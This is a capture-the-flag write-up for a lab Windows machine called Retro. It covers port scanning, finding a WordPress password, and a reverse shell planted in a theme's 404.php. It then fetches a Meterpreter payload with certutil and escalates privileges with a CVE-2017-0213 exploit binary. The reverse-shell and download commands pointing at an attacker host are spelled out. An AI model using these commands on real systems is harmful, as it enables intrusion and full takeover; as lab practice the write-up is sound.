Retro
Can you time travel? If not, you might want to think about the next best thing.
Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.
There are two distinct paths that can be taken on Retro. One requires significantly less trial and error, however, both will work. Please check writeups if you are curious regarding the two paths. An alternative version of this room is available in it's remixed version Blaster.
Step 1. What's Out There?
nmap -sC -sV -p- -Pn retro.thm --min-rate=1000
Looks like we have a webserver and an RDP session open. Let's check out what the webserver can offer us.
A default Microsoft IIS page. We'll use ffuf to enumerate for directories.
Step 2: FFUF
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://retro.thm/FUZZ -fs 703
Nice, we discovered a directory called /retro. Let's go to it.
Step 3: Finding Credentials
We discovered a blog that seems to be ran by a user name Wade.
After downloading and viewing the Comments RSS data, we disovered text that might be a potential password.
Taking this information and plugging it into the Site Admin link allows us to log in to the WordPress admin panel.
Step 3: Initial Foothold
Based off my experience with getting a reverse shell with WordPress, we would need to modify the 404.php file and inject our generated shell code. We can do this with msfvenom.
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f raw -o retro_shell.php
Now let's start initialize our handler so we can catch the shell once it executes.
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LHOST 1337
exploit
From here we want to copy our retro_shell.php code and paste it into 404.php. We can do this by navigating to Appearance > Theme Editor > 404 Template. Delete the content of the 404.php file and paste in your shell. Should look like this.
Now navigate to the file in your browser (http://retro.thm/retro/wp-content/themes/90s-retro/404.php) and it will drop you into a meterpreter session.
Step 4: Detour
Okay, so for some reason I could not get the meterpreter shell to stabalize with the 404.php route. But, that's alright. Sometimes we have to get creative and approach a problem at a different angle... in the end, we still get the same outcome. Root.
So what I decided to do is RDP into the box with our same credentials and upload a payload, set my handler, and catch it with a stable meterpreter session.
Generate a Payload Using Msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe -o payload.exe
Start a HTTP Server and transfer it over using certutil.
certutil -urlcache -f http://10.13.28.215:8000/payload.exe payload.exe
Now we want to set up our listener and catch the shell. Same as before with a slight modification.
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 1337
exploit
Run the payload from the victim box and drop into a meterpreter session.
Step 5: Privilege Escalation
We're going to use the Windows Exploit Suggester (WES) to find a way to elevate our privileges. First, we need to pull the systems information in order to pull this off.
systeminfo > sysinfo.txt
Now we can to pull it down to our attack box.
From here we can use WES to find a privesc vector (update database before running: ./windows-exploit-suggester.py --update).
./windows-exploit-suggester.py --database 2023-08-07-mssb.xls --sysinfo ~/sysinfo.txt --ostext 'windows 10 64-bit' -l
This build of Windows 10 is vulnerable to a Windows COM privesc, CVE-2017-0213. There's a binary that we can use to automate this exploit for us. Let's download it to our attack box and upload it to our victim. Link to binary here: https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213
Once we get it on our victim box we can run it and then move over to our RDP session and a find new CMD shell spawned NT AUTHORITY\\SYSTEM rights.
Pwned.